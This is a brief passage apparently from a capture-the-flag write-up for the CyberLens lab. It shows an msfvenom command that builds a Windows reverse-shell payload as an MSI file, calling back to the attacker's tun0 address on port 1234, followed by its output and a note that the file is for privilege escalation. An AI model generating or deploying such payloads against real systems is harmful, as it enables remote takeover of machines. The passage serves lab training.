msfvenom
┌──(kali㉿kali)-[~/archive/thm/cyberlens]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$tun0 LPORT=1234 -f msi -o malicious.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: malicious.msi
msfvenom generated a MSI payload for privilege escalation on the CyberLens
(10.10.53.112
) host.